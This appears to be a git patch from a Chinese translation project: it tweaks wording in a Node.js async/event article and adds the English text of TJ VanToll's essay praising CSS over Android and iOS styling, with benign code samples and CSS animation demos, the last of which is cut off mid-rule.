 在 `async/await` 函数中我们我们不需要使用任何特殊 API（像: `.then` 、 `.catch`\），我们仅仅使用了特殊关键字，并使用普通 JavaScript 编码即可。
 
-我们可以在支持 Promise 的函数中使用 `async/await` 函数，但是不能在 callback 风格的异步方法中使用它，比如 `setTimeout` 等等。
+我们可以在支持 Promise 的函数中使用 `async/await` 函数，但是不能在回调风格的异步方法中使用它，比如 `setTimeout` 等等。
 
 ### EventEmitter 模块 ###
 
@@ -218,7 +218,7 @@ withLog.on('end', () => console.log('Done with execute'));
 withLog.execute(() => console.log('*** Executing task ***'));
 ```
 
-WithLog 类是一个 event emitter。它有一个 excute 方法，接收一个 taskFunc 任务函数作为参数，并将此函数的执行包含在 log 语句之中，分别执行之前和之后调用了 emit 方法。
+WithLog 类是一个 event emitter。它有一个 excute 方法，接收一个 taskFunc 任务函数作为参数，并将此函数的执行包含在 log 语句之间，分别在执行之前和之后调用了 emit 方法。
 
 执行结果如下：
 
@@ -230,7 +230,7 @@ Done with execute
 After executing
 ```
 
-需要我们注意的是所有的输出 log 都是同步的，在代码里没有任何异步操作。
+我们需要注意的是所有的输出 log 都是同步的，在代码里没有任何异步操作。
 
 * 第一步 “Before executing”；
 * 命名为 begin 的事件 emit 输出了 “About to execute”；
@@ -238,7 +238,7 @@ After executing
 * 另一个命名事件输出“Done with execute”；
 * 最后“After executing”。
 
-如同之前的 callback，events 并不意味着同步或者异步。
+如同之前的回调方式，events 并不意味着同步或者异步。
 
 这一点很重要，假如我们给 `excute` 传递异步函数 `taskFunc`，事件的触发就不再精确了。
 
@@ -268,7 +268,7 @@ After executing
 
 当异步方法结束的时候 emit 一个事件，我们需要把 callback/promise 与事件通信结合起来，刚刚的例子证明了这一点。
 
-使用事件驱动来代替传统 callback 有一个好处是：在定义多个监听器后，我们可以多次对同一个 emit 做出反应。如果要用 callback 来做到这一点的话，我们需要些很多的逻辑在同一个 callback 中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许利用状态变化做更多自定义的事。
+使用事件驱动来代替传统回调函数有一个好处是：在定义多个监听器后，我们可以多次对同一个 emit 做出反应。如果要用回调来做到这一点的话，我们需要些很多的逻辑在同一个回调函数中，事件是应用程序允许多个外部插件在应用程序核心之上构建功能的一个好方法，你可以把它们当作钩子点来允许利用状态变化做更多自定义的事。
 
 #### 异步事件 ####
 

From 8c92604cdcdbe3d501793f48c8d99329526d6c90 Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Wed, 7 Jun 2017 10:26:14 +0800
Subject: [PATCH 630/638] Create TODO/love-letter-css.md

---
 TODO/love-letter-css.md | 3219 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 3219 insertions(+)
 create mode 100644 TODO/love-letter-css.md

diff --git a/TODO/love-letter-css.md b/TODO/love-letter-css.md
new file mode 100644
index 00000000000..d462ce85398
--- /dev/null
+++ b/TODO/love-letter-css.md
@@ -0,0 +1,3219 @@
+> * 原文地址：[A Love Letter to CSS](http://developer.telerik.com/topics/web-development/love-letter-css/)
+> * 原文作者：[TJ VanToll](http://developer.telerik.com/author/tvantoll/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+
+# A Love Letter to CSS
+
+![http://developer.telerik.com/wp-content/uploads/2017/05/css_love_header.jpg](http://developer.telerik.com/wp-content/uploads/2017/05/css_love_header.jpg)
+
+When I tell coworkers of my unabated love for CSS they look at me like I’ve made an unfortunate life decision.
+
+> “Let’s sit down TJ, and talk about the poor choices you made during childhood that set you up for failure.”
+
+Sometimes I feel that developers, some of the most opinionated human beings on the planet, can only agree on one thing: that CSS is totally the worst.
+
+![](https://ws2.sinaimg.cn/large/006tNc79gy1fgcf54bv9uj30eo062dga.jpg)
+
+One of the best ways to get consistent laughs at tech conferences is to take a jab at CSS, and CSS memes are so common that I’m contractually obligated to include two of them in this article.
+
+![](http://developer.telerik.com/wp-content/uploads/2017/05/css-mug.jpg)
+![](http://developer.telerik.com/wp-content/uploads/2017/05/css-blinds.gif)
+
+But today I’m going to blow your mind. Today I’m going to try to convince you that not only is CSS one of the best technologies you use on a day-to-day basis, not only is CSS incredibly well designed, but that you should be thankful—thankful!—each and every time you open a `.css` file.
+
+My argument is relatively simple: creating a comprehensive styling mechanism for building complex user interfaces is startlingly hard, and every alternative to CSS is much worse. Like, it’s not even close.
+
+To prove my point I’m going to compare CSS to a few alternative styling systems, and I’m going start by taking you back in time.
+
+## OMG, remember Java applets?
+
+In college I built a few apps with this powerful, about-to-be-obsolete technology called Java applets. Java applets were basically Java apps that you could haphazardly embed in a browser using an `<applet>` tag. On a good day half of your users would have the correct version of Java installed on their machines, and they’d be able to run your apps successfully.
+
+![](http://developer.telerik.com/wp-content/uploads/2017/05/java-applet.jpg)
+*A sample Java applet so you can take yourself back to the late 90s*
+
+Java applets debuted in 1995 and started to get popular a few years later. If you were around in the late 90s, you’ll remember real debates about whether you should build your next great app using web technologies, or whether you should build using Java applets.
+
+Like most technologies that let you create user interfaces, Java applets let you change the appearance of the controls that you place on the user’s screens. And because Java applets were seen as a plausible alternative to web development, the ease of styling controls in applets was sometimes compared to how you accomplish that same task on the web.
+
+Java applets obviously didn’t use CSS, so how exactly do you style UI controls in a Java applet? Not easily. Here’s a code snippet from the [first Google result for “change button color Java applet”](http://www.java-examples.com/change-button-background-color-example).
+
+```
+/*
+        Change Button Background Color Example
+        This java example shows how to change button background color using
+        AWT Button class.
+*/
+
+import java.applet.Applet;
+import java.awt.Button;
+import java.awt.Color;
+
+public class ChangeButtonBackgroundExample extends Applet{
+
+    public void init(){
+
+        //create buttons
+        Button button1 = new Button("Button 1");
+        Button button2 = new Button("Button 2");
+
+        /*
+          * To change background color of a button use
+          * setBackground(Color c) method.
+          */
+
+        button1.setBackground(Color.red);
+        button2.setBackground(Color.green);
+
+        //add buttons
+        add(button1);
+        add(button2);
+    }
+}
+```
+
+The first thing to note is that Java applets offer no real way to separate your logic and styling code, like you might do on the web with HTML and CSS. This will be a theme for the rest of this article.
+
+The second thing to note is that this is a *lot* of code to create two buttons and change their background colors. If you’re thinking something like *“wow, this approach seems like it would get out of control really quickly in a real-world app”*, then you’re starting to get an idea of why the web won and Java Applets didn’t.
+
+That being said I know what you’re thinking.
+
+> “TJ, you’re not exactly winning me over by saying CSS styling is better Java Applet’s approach. Way to set a high bar.”
+
+Yes, because Java applet’s visual APIs aren’t exactly the gold standard of user interface design, let’s shift our attention to something developers actually build nowadays: Android apps.
+
+## Why styling Android apps is hard
+
+In some ways, Android is a modern, way-better version of the Java applets from years ago. Like Java applets, Android uses Java as a development language. (Although you’ll soon be able to use the Kotlin language, per a [recent Google announcement at their Google I/O event](https://techcrunch.com/2017/05/17/google-makes-kotlin-a-first-class-language-for-writing-android-apps/).) But unlike Java applets, Android includes a series of conventions that makes building user interfaces a whole lot easier, and a lot more like building for the web.
+
+On Android you define your user interface controls in XML files, and interact with that markup in a separate Java files. It’s very similar to a web app with markup in HTML files, and logic in separate JavaScript files.
+
+Here’s what the markup of a very simple Android “activity” (basically a page) might look like.
+
+```
+<?xml version="1.0" encoding="utf-8"?>
+<android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    tools:context="com.telerik.tj.testapp.MainActivity">
+
+    <Button
+        android:id="@+id/button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Hello World" />
+
+</android.support.constraint.ConstraintLayout>
+```
+
+This might look a bit arcane if you’re a web developer, but remember that a basic `index.html` file has its share of quirks as well. What you’re seeing here is two UI components, an `<android.support.constraint.ConstraintLayout>` and an `<android.widget.Button>`, each with various attributes used for configuration. Just to give you a visual, here’s what this simple app looks like running on an Android device.
+
+![](http://developer.telerik.com/wp-content/uploads/2017/05/simple-android-app.jpg)
+
+So to bring this discussion back to the topic of this article, how do you style these components? Much like the web’s `style` attribute, there are a variety of attributes you can apply to pretty much every Android UI component to change their appearance.
+
+For example, if you want to change the background color of the previous example’s button, you can apply the `android:background` attribute. In the code below I apply that attribute so that the button appears red.
+
+```
+<Button
+    android:id="@+id/button"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:text="Hello World"
+    android:background="#ff0000" />
+```
+
+![](http://developer.telerik.com/wp-content/uploads/2017/05/android-red-button.jpg)
+
+So far so good. Android Studio, Google’s recommended Android development environment, even provides a robust visual editor that makes configuring some of these common properties really easy. The image below shows Android Studio’s design view for this sample app. Note how you can easily configure properties such as “background” using the pane on the right-hand side of the screen.
+
+![](http://developer.telerik.com/wp-content/uploads/2017/05/android-visual-editor.jpg)
+
+Through things like the design view, Android makes the basics of applying styles to user interface controls very simple. But this is where the pro-Android portion of this article ends.
+
+Real-world development requires you to go well beyond the basics, and, at least in my experience, this is where the verbosity of Android and the simplicity of CSS really starts to show. For example, suppose you want to create a collection of property name/value pairs that you can easily reuse – something kind of like CSS class names. You can kind of do that in Android, but it gets messy very quickly.
+
+Android apps have a `styles.xml` file where you can create XML chunks in that file that build on top of each other. For instance, suppose you wanted to make all your app’s buttons have red backgrounds. On Android you could use the following code to create a “RedTheme” style.
+
+```
+<style name="RedTheme" parent="@android:style/Theme.Material.Light">
+  <item name="android:buttonStyle">@style/RedButton</item>
+</style>
+
+<style name="RedButton" parent="android:Widget.Material.Button">
+  <item name="android:background">#ff0000</item>
+</style>
+```
+
+After that change, you could then apply a `android:theme="@style/RedTheme"` attribute to the top-level UI component you want this theme to apply to. In the code below I apply that attribute to the top-level layout component from our previous example.
+
+```
+<android.support.constraint.ConstraintLayout
+    ...
+    android:theme="@style/RedTheme">
+```
+
+This works, and all buttons within that layout will indeed be red, but let’s take a step back. All of that code — the handful of lines of XML, the markup attributes, and such — all of that is replicating what you can accomplish in CSS using `button { background: red; }`. And these same sort of styling tasks don’t get easier as your Android apps get more complex.
+
+In general, non-trivial styling implementations on Android tend to involve either nested XML configuration files, or a bunch of Java code to create extensible components — neither of which fill with me with much joy.
+
+Consider animations. Android has some built-in animations, and those tend to be nice and easy to use, but custom animations must be implemented in Java code. (Here’s [an example](https://developer.android.com/training/animation/crossfade.html).) There’s no equivalent of something like CSS animations that lets you configure and manage your animations along with your app’s styling.
+
+Consider media queries. Android lets you implement some CSS-media-query-like properties to your UI components, but it’s entirely done in markup, which doesn’t lend itself to reusability across pages or views.
+
+Just to give you a sense of what I’m talking about, this is the very first code example from Android’s documentation on [Supporting Multiple Screen Sizes](https://developer.android.com/training/multiscreen/screensizes.html). I’ll offer it below verbatim as some food for thought the next time you complain about CSS media queries.
+
+```
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <LinearLayout android:layout_width="match_parent"
+                  android:id="@+id/linearLayout1"  
+                  android:gravity="center"
+                  android:layout_height="50dp">
+        <ImageView android:id="@+id/imageView1"
+                   android:layout_height="wrap_content"
+                   android:layout_width="wrap_content"
+                   android:src="@drawable/logo"
+                   android:paddingRight="30dp"
+                   android:layout_gravity="left"
+                   android:layout_weight="0" />
+        <View android:layout_height="wrap_content"
+              android:id="@+id/view1"
+              android:layout_width="wrap_content"
+              android:layout_weight="1" />
+        <Button android:id="@+id/categorybutton"
+                android:background="@drawable/button_bg"
+                android:layout_height="match_parent"
+                android:layout_weight="0"
+                android:layout_width="120dp"
+                style="@style/CategoryButtonStyle"/>
+    </LinearLayout>
+
+    <fragment android:id="@+id/headlines"
+              android:layout_height="fill_parent"
+              android:name="com.example.android.newsreader.HeadlinesFragment"
+              android:layout_width="match_parent" />
+</LinearLayout>
+```
+
+We could keep going through CSS features, but hopefully you’re seeing a pattern: you can do a whole lot to style your apps on Android, but the solutions almost always require a whole lot more code than it does on the Web.
+
+And while it’s easy to gawk at some of Android’s XML verbosity, remember that it’s really, really hard to come up with a mechanism of styling UI components that’s clear, concise, and that works well in large-scale applications. You can definitely find CSS examples that are subjectively as bad as Android’s solutions, but having worked in both I’ll personally take CSS’s approach without a second thought.
+
+To round out my argument let’s look at one other popular platform for rendering UI components: iOS.
+
+## Why styling iOS apps is hard
+
+iOS is a bit unique in the software development world, as it’s one of the only software platforms I know of where the majority of your UI development is done through a visual tool. That tool is called [storyboards](https://developer.apple.com/library/content/documentation/General/Conceptual/Devpedia-CocoaApp/Storyboard.html), and you use them within Xcode to build apps for iOS and macOS.
+
+Just to give you an idea of what I’m talking about, here’s what it looks like to add two buttons to a view in an iOS app.
+
+![](http://developer.telerik.com/wp-content/uploads/2017/05/buttons.gif)
+
+It’s worth noting that you don’t *have* to to build iOS apps using storyboards, but the alternative is generating your most of your user interface in Objective-C or Swift code, and therefore storyboards are the development path that Apple recommends for iOS development.
+
+> **NOTE** A complete discussion of when storyboard development is and isn’t appropriate for iOS apps is out of the scope of this article. If you’re interested, check out this [debate about the topic on Quora](https://www.quora.com/How-many-iOS-developers-dont-use-NIBs-Storyboards-and-Constraints).
+
+So to bring the conversation back to the top of this article, how do you style iOS UI components? Well as you might expect from a visual editor, there are easy ways to configure individual properties of UI controls. For example, if you want to change the background color of a button, you can do so pretty easily from a menu on the right-hand side of the screen.
+
+![](http://developer.telerik.com/wp-content/uploads/2017/05/button-background-ios.jpg)
+
+Much like Android, the task of applying individual properties is very simple. But also like Android, things get much harder when you move beyond the basics. For example, how do you make multiple buttons look the same in an iOS app? Not easily.
+
+iOS has this concept of [outlets](https://developer.apple.com/library/content/documentation/General/Conceptual/Devpedia-CocoaApp/Outlet.html), which are essentially a mechanism for your Objective-C or Swift code to get a reference to user interface components. You can think of outlets sort of like `document.getElementById()` calls on the Web. To style multiple iOS UI components you need to get an explicit reference, or outlet, for each control on your storyboard, loop over them, and then apply your changes. Here’s an example of what a Swift view controller that changes the background color of all buttons looks like.
+
+```
+import UIKit
+
+class ViewController: UIViewController {
+
+    // A collection of button outlets that you fill using
+    // Xcode’s storyboard editor
+    @IBOutlet var buttons: [UIButton]!
+
+    func styleButtons() {
+        for button in self.buttons {
+            // Apply a red background color by setting the view’s
+            // backgroundColor property.
+            button.backgroundColor = UIColor.red
+        }
+    }
+
+    // This is the entry point to your view controller. iOS
+    // invokes this function when your view loads.
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        self.styleButtons()
+    }
+}
+```
+
+The point here is not the specifics, so I’m not going to go over what each and every line of Swift code is doing here. The point is that styling multiple controls inevitably involves Objective-C or Swift code, something you can easily accomplish in CSS by defining a simple class name.
+
+And as you might expect, more complex iOS styling tasks don’t involve less code. For example, creating a simple iOS “theme” involves [a whole bunch of `UIAppearance` APIs](https://www.raywenderlich.com/108766/uiappearance-tutorial), and dealing with multiple device types requires that you learn about the non-trivial topic of [auto layout](https://developer.apple.com/library/content/documentation/UserExperience/Conceptual/AutolayoutPG/).
+
+To be fair, native developers can make somewhat similar arguments about there being some bizarre features in CSS, and to a certain extent they’re right. After all, whether we’re talking about the Web, or a native platform such as iOS or Android, the task of positioning, styling, and animating user interface components, across all sorts of devices, is no easy task. Any comprehensive styling system must inevitably make tradeoffs, but, having worked in a number of software ecosystems, CSS stands out to me for a number of reasons.
+
+## Why CSS is more awesome
+
+### CSS is amazingly flexible.
+
+CSS lets you separate your app’s concerns so that your styling logic is completely separate from your app’s main logic. The [separation of concerns principal](https://en.wikipedia.org/wiki/Separation_of_concerns) has been a bedrock of web development for the last two decades, and CSS’s architecture is one of the main reasons this approach is possible.
+
+That being said, CSS is also flexible enough that you can ignore the separation of concerns principal if you’d like, and handle all your styling through application code. Frameworks like React were able to take this approach without needing to change the CSS language or architecture in any way.
+
+Android and iOS have relatively strict mechanisms when it comes to styling your user interface controls, but on the web you have options, and you can pick the option that best suits your application’s needs.
+
+### CSS is a simple language, and therefore an excellent compiler target.
+
+CSS is a relatively simple language. Think about it, at a high level all you have is a collection of selectors that define a series of name/value pairs. And that simplicity makes a whole lot of things possible.
+
+One of them is transpilers. Because CSS is relatively simple, transpilers such as SASS and LESS were able to innovate on top of the CSS language and experiment with powerful new features. Tools like SASS and LESS have not only improved developer productivity, they’ve also helped influence the CSS specification itself, with features like CSS variables now [being available in most major browsers](http://caniuse.com/#feat=css-variables).
+
+But CSS’s simplicity enables more than just transpilers. Every theme builder or drag & drop building tool you see on the web is possible because of just how easy CSS is to output. The concept of a theme builder isn’t even a thing in the iOS or Android worlds, because the tool’s output would need to be a complete iOS or Android app, which isn’t exactly an easy thing to generate. (Instead of iOS/Android theme builders you tend to see things like app templates or app starters).
+
+Here’s another one: you know how your browser’s developers tools are awesome and let you easily tweak the look and feel of your application? This is again CSS’s simplicity at work. iOS and Android have nothing that comes close to the visual development tools we have on the web.
+
+One final example: on the [NativeScript project](https://docs.nativescript.org/) we were able to allow developers to [style native iOS and Android controls using subset of CSS](https://docs.nativescript.org/ui/styling), for example using `Button { color: blue; }` to style a `UIButton` or `android.widget.Button`. We were only able to do this because CSS is a flexible and easy to parse language.
+
+### CSS lets you do some amazing stuff.
+
+And finally, the single biggest reason CSS is awesome is the sheer range of things developers have been able to build with a language of simple selectors and rules. The internet is full of "10 AMAZING CSS-ONLY EXAMPLES" posts that prove this point, but I’m going to embed a few of my favorites right here because I can.
+
+#### 案例 1
+
+```
+html
+
+ <ul class="wrapper">
+  <div class="sun">
+    <div class="star"></div>
+  </div>
+  <div class="mercury">
+    <div class="planet">
+      <div class="shadow"></div>
+    </div>
+  </div>
+  <div class="venus">
+    <div class="planet">
+      <div class="shadow"></div>
+    </div>
+  </div>
+  <div class="earth">
+    <div class="planet"><div class="shadow"></div></div>
+  </div>
+  <div class="mars">
+    <div class="planet"><div class="shadow"></div></div>
+  </div>
+  <div class="jupiter">
+    <div class="planet"><div class="shadow"></div></div>
+  </div>
+</ul>
+
+css
+
+html {
+  background-color: #000;
+}
+body{
+  height: 100%;
+  top: 0px;
+  bottom: 0px;
+}
+@keyframes spinsun {
+  0% { transform: rotate(0); }
+  100%   { transform: rotate(-360deg); }
+}
+@keyframes shadow {
+  0% { background-position: 130% 0%; }
+  33%{ background-position: 50% 0%; }
+  55% { background-position: 0% 0%; }
+  80%{ background-position: -50% 0%; }
+  100%{ background-position: -50% 0%; }
+}
+@keyframes orbitmercury {
+  0% { z-index:2; transform: rotateY(0); }
+  49% { z-index:2; }
+  50% { z-index:-2; }
+  99% { z-index:-2; }
+  100%   { z-index:2; transform: rotateY(360deg); }
+}
+@keyframes orbitvenus {
+  0% { z-index:3; transform: rotateY(0); }
+  49% { z-index:3; }
+  50% { z-index:-3; }
+  99% { z-index:-3; }
+  100%   { z-index:3; transform: rotateY(360deg); }
+}
+@keyframes orbitearth {
+  0% { z-index:4; transform: rotateY(0); }
+  49% {z-index:4;}
+  50% {z-index:-4;}
+  99% {z-index:-4;}
+  100%   { z-index:4; transform: rotateY(360deg);}
+}
+@keyframes orbitmars {
+  0% { z-index:5; transform: rotateY(0); }
+  49% { z-index:5; }
+  50% { z-index:-5; }
+  99% { z-index:-5; }
+  100%   { z-index:5; transform: rotateY(360deg); }
+}
+@keyframes orbitjupiter {
+  0% { z-index:6; transform: rotateY(270); }
+  49% { z-index:6; }
+  50% { z-index:-6; }
+  99% { z-index:-6; }
+  100%   { z-index:6; transform: rotateY(360deg); }
+}
+@keyframes orbitsaturn {
+  0% { z-index:7; transform: rotateY(270); }
+  49% { z-index:7; }
+  50% { z-index:-7; }
+  99% { z-index:-7; }
+  100%   { z-index:7; transform: rotateY(360deg); }
+}
+/* Keep planet image flat */
+@keyframes anti-spin {
+  from { transform: rotateY(0); }
+  to   { transform: rotateY(-360deg); }
+}
+@keyframes anti-spin-rings {
+  from { transform: rotateY(0) rotateX(73deg); }
+  to   { transform: rotateY(-360deg) rotateX(73deg); }
+}
+
+/* scene wrapper */
+.wrapper{
+  position:relative;
+  margin: 0 auto;
+  display:block;
+  margin-top: 200px;
+  perspective: 1000px;
+    perspective-origin: 60% 50%;
+  transform: rotate(-10deg);
+
+}
+.wrapper > div {
+  position: relative;
+  margin: 0 auto;
+  transform-style: preserve-3d;
+  height: 0px;
+}
+.sun {
+  width: 250px;
+  position: absolute;
+  top: 0px;
+  z-index: 1;
+  height: 125px !important;
+}
+.sun .star {
+  width: 250px;
+  height: 250px;
+  background: url(http://www.waynedunkley.com/img/solar_system/sun.png) no-repeat;
+  background-size: cover;
+  border-radius: 250px;
+  margin: 0 auto;
+  animation: spinsun 40s infinite linear;
+}
+.planet {
+  background-size: cover;
+  background-repeat: no-repeat;
+  background-color: transparent;
+  animation-iteration-count: infinite;
+  overflow:hidden;
+}
+.shadow {
+  position: absolute;
+  left: 0px;
+  right: 0px;
+  top: 0px;
+  bottom: 0px;
+  background: transparent url(http://www.waynedunkley.com/img/solar_system/shadow.png) 0% 0% no-repeat;
+  background-size: cover;
+  border-radius: 100%;
+}
+.mercury {
+  position: absolute;
+  width: 400px;
+  z-index:2;
+  animation: orbitmercury 12s infinite linear;
+  top: -7.5px; /*half of planets height to keep orbits in line*/
+}
+.mercury .planet {
+  width:15px;
+  height:15px;
+  background-image: url(http://www.waynedunkley.com/img/solar_system/mercury.png);
+  animation: anti-spin 12s infinite linear;
+}
+.mercury .shadow {
+  animation: shadow 12s infinite linear;
+}
+.venus {
+  position: absolute;
+  width: 506px;
+  z-index:3;
+  animation: orbitvenus 15s infinite linear;
+  top: -19px;
+}
+.venus .planet {
+  width:38px;
+  height:38px;
+  background-image: url(http://www.waynedunkley.com/img/solar_system/venus.png);
+  animation: anti-spin 15s infinite linear;
+}
+.venus .shadow {
+  animation: shadow 15s infinite linear;
+}
+.earth {
+  position: absolute;
+  width: 610px;
+  z-index:4;
+  animation: orbitearth 20s infinite linear;
+  top: -20px;
+}
+.earth .planet {
+  width:40px;
+  height:40px;
+  background-image: url(http://www.waynedunkley.com/img/solar_system/earth.png?v=2);
+  animation: anti-spin 20s infinite linear;
+}
+.earth .shadow {
+  animation: shadow 20s infinite linear;
+}
+.mars {
+  position: absolute;
+  width: 706px;
+  z-index:5;
+  animation: orbitmars 30s infinite linear;
+  top: -11px;
+}
+.mars .planet {
+  width:22px;
+  height:22px;
+  background-image: url(http://www.waynedunkley.com/img/solar_system/mars.png);
+  animation: anti-spin 30s infinite linear;
+}
+.mars .shadow {
+  animation: shadow 30s infinite linear;
+}
+.jupiter {
+  position: absolute;
+  width: 1100px;
+  z-index:6;
+  animation: orbitjupiter 50s infinite linear;
+  top: -64px;
+}
+.jupiter .planet {
+  width:128px;
+  height:128px;
+  background-image: url(http://www.waynedunkley.com/img/solar_system/jupiter.png);
+  animation: anti-spin 50s infinite linear;
+}
+.jupiter .shadow {
+  animation: shadow 50s infinite linear;
+}
+```
+
+效果预览：[codepen.io/waynedunkley/pen/YPJWaz](https://codepen.io/waynedunkley/pen/YPJWaz)
+
+
+#### 案例 2
+
+```
+html
+
+<!-- Please heart it if you like! -->
+<div id='book'>
+  <div id='top'></div>
+  <div id='front'></div>
+  <div id='right'></div>
+  <div id='bottom'></div>
+  <div id='shadow'></div>
+  <div id='bookmark'>
+    <div>
+      <div>
+        <div>
+          <div></div>
+        </div>
+      </div>
+    </div>
+  </div>
+  <div id='bookmark-shadow'></div>
+</div>
+<div id='flip'>
+  <div id='front'>
+    <div>
+      <div>
+        <div>
+          <div>
+            <div>
+              <div>
+                <div>
+                  <div>
+                    <div>
+                      <div></div>
+                    </div>
+                  </div>
+                </div>
+              </div>
+            </div>
+          </div>
+        </div>
+      </div>
+    </div>
+  </div>
+  <div id='back'>
+    <div>
+      <div>
+        <div>
+          <div>
+            <div>
+              <div>
+                <div>
+                  <div>
+                    <div>
+                      <div></div>
+                    </div>
+                  </div>
+                </div>
+              </div>
+            </div>
+          </div>
+        </div>
+      </div>
+    </div>
+  </div>
+</div>
+<h4>CSS 3D Bending Effect - Page Flip</h4>
+
+CSS:
+
+/* remember to use - transform-style: preserve-3d; */
+html,body {
+  height:100%;
+  overflow: hidden;
+}
+body {
+  background: radial-gradient(#E4CEA6, #9C8763);
+  perspective: 900px;
+  margin: 0;
+}
+#flip {
+  animation: wrapper 6s ease-in-out infinite;
+  height: 350px;
+  width: 253px;
+  position: absolute;
+  left: 50%;
+  top: 30%;
+  transform: translateZ(-10px) rotateX(60deg) rotateZ(29deg) rotateY(0deg)!important;
+  transform-style: preserve-3d;
+  transform-origin: 0 0 0;
+}
+@keyframes wrapper {
+  50% {
+    transform: translateZ(-10px) rotateX(60deg) rotateZ(29deg) rotateY(-180deg);
+  }
+}
+#flip div {
+  height: 350px;
+  width: 24px;
+  position: absolute;
+  left: calc(100% - 1px);
+  transform-origin: 0 100%;
+  transform-style: preserve-3d;
+  background-size: 253px 350px;
+}
+#flip #front,
+#flip #front div {
+  background-image: url(http://blogs.slj.com/afuse8production/files/2012/06/Hobbit1.jpg);
+  box-shadow: inset rgba(255,255,255,0.3) 0px -1px 0 0,#35582C 0px 1px 0px 0px;
+}
+#flip #front > div > div > div > div > div > div > div > div > div > div {
+  box-shadow: inset rgba(255,255,255,0.3) -1px -1px 0 0, #35582C 1px 1px 0px 0px;
+}
+#flip #back { transform: rotateY(.4deg); transform-origin: -100% 0; } /* avoid pages overlap */
+#flip #back,
+#flip #back div {
+  background-image: url(https://s3-us-west-2.amazonaws.com/s.cdpn.io/164210/map1_.jpg);
+}
+
+#flip > div {  left: 0;  background-position-x: 0; }
+#flip div > div { background-position-x: -23px; animation: page 6s ease-in-out infinite; }
+#flip div > div > div { background-position-x : -46px; }
+#flip div > div > div > div { background-position-x : -69px; }
+#flip div > div > div > div > div { background-position-x : -92px; }
+#flip div > div > div > div > div > div { background-position-x : -115px; }
+#flip div > div > div > div > div > div > div { background-position-x : -138px; }
+#flip div > div > div > div > div > div > div > div  { background-position-x : -161px; }
+#flip div > div > div > div > div > div > div > div > div { background-position-x : -184px; }
+#flip div > div > div > div > div > div > div > div > div > div { background-position-x : -207px; }
+#flip div > div > div > div > div > div > div > div > div > div > div { background-position-x : -229px; }
+/* the more pieces you have, the smoother the bend is */
+
+@keyframes page {
+  15% { transform: rotateY(-10deg); }
+  50% { transform: rotateY(-2deg); }
+  65% { transform: rotateY(10deg); }
+  100% { transform: rotateY(0deg); }
+}
+
+#book {
+  width: 248px;
+  height: 350px;
+  position: absolute;
+  left:50%;
+  top: 30%;
+  transform: translate3d(0px,0px,-10px) rotateX(60deg) rotateZ(29deg);
+  transform-style: preserve-3d;
+  -webkit-transform-origin: 0 0 0;
+}
+@keyframes book {
+  25% {
+    box-shadow: inset rgba(0,0,0,.2) 0px 0 50px -140px;
+  }
+  50% {
+    box-shadow: inset rgba(0,0,0,.2) 0px 0 50px -140px;
+  }
+  100% {
+    box-shadow: inset rgba(0,0,0,.2) 510px 0 50px -140px;
+  }
+}
+#book #top {
+  animation: book 6s ease-in-out infinite;
+  background: url(https://s3-us-west-2.amazonaws.com/s.cdpn.io/164210/map2.jpg);
+  background-size: 100% 100%;
+  background-position: 100%;
+  box-shadow: inset rgba(0,0,0,0.2) 510px 0 50px -140px;
+  height: 350px;
+  width: 248px;
+  position: absolute;
+  left: 0;
+  top: 0;
+}
+#book #bottom {
+  background: #E7DED1;
+  box-shadow: rgba(83, 53, 13, 0.2) 4px 2px 1px,
+              #35582C 1px 1px 0px 0px;
+  height: 350px;
+  width: 253px;
+  position: absolute;
+  transform: translateZ(-40px);
+  left: 0;
+  top: 0;
+}
+#book #shadow {
+  animation: shadow 6s ease-in-out infinite;
+  box-shadow: inset rgba(83, 53, 13, 0) -200px 0 150px -140px;
+  height: 350px;
+  width: 248px;
+  position: absolute;
+  left: -100%;
+  top: 0;
+  transform: translateZ(-40px);
+}
+@keyframes shadow {
+  20% {
+    box-shadow: inset rgba(83, 53, 13, 0) -200px 0 150px -140px;
+  }
+  50% {
+    box-shadow: inset rgba(83, 53, 13, 0.3) -350px 0 150px -140px;
+  }
+  60% {
+    box-shadow: inset rgba(83, 53, 13, 0) -200px 0 150px -140px;
+  }
+}
+#book #front {
+  background: -webkit-linear-gradient(top,#FCF6EA, #D8D1C3);
+  background-size: 100% 2px;
+  box-shadow: inset #C2BBA2 3px 0 0px, #35582C -2px 1px 0px 0px;
+  height: 40px;
+  width: 251px;
+    left: -3px;
+  position: absolute;
+  bottom: -40px;
+  transform: rotateX(-90deg);
+  transform-origin: 50% 0;
+  border-top-left-radius: 5px;
+  border-bottom-left-radius: 5px;
+}
+#book #right {
+  background: -webkit-linear-gradient(left,#DDD2BB, #BDB3A0);
+  background-size: 2px 100%;
+  box-shadow: inset rgba(0,0,0,0) 0 0 0 20px;
+  height: 100%;
+  width: 40px;
+  position: absolute;
+  right: -40px;
+  top: 0;
+  transform: rotateY(90deg);
+  transform-origin: 0 50%;
+}
+
+h4 {
+  position: absolute;
+  bottom: 20px;
+  left: 20px;
+  margin: 0;
+  font-weight: 200;
+  opacity: 1;
+	font-family: sans-serif;
+  color: rgba(0,0,0,0.3);
+}
+
+/* bookmark */
+
+#bookmark {
+  position: absolute;
+  transform: translate3d(20px,350px,-16px);
+  transform-style: preserve-3d;
+}
+#bookmark div {
+  background: rgb(151, 88, 88);
+  box-shadow: rgb(133,77,77) 1px 0;
+  height: 10px;
+  width: 20px;
+  position: absolute;
+  top: 9px;
+  transform: rotateX(-14deg);
+  transform-origin: 50% 0;
+  transform-style: preserve-3d;
+}
+#bookmark > div > div {
+  background: linear-gradient(top, rgb(151, 88, 88), rgb(189, 123, 123), rgb(151, 88, 88));
+}
+#bookmark > div > div > div {
+  background: linear-gradient(top,rgb(151, 88, 88),rgb(133, 77, 77));
+}
+#bookmark > div > div > div > div {
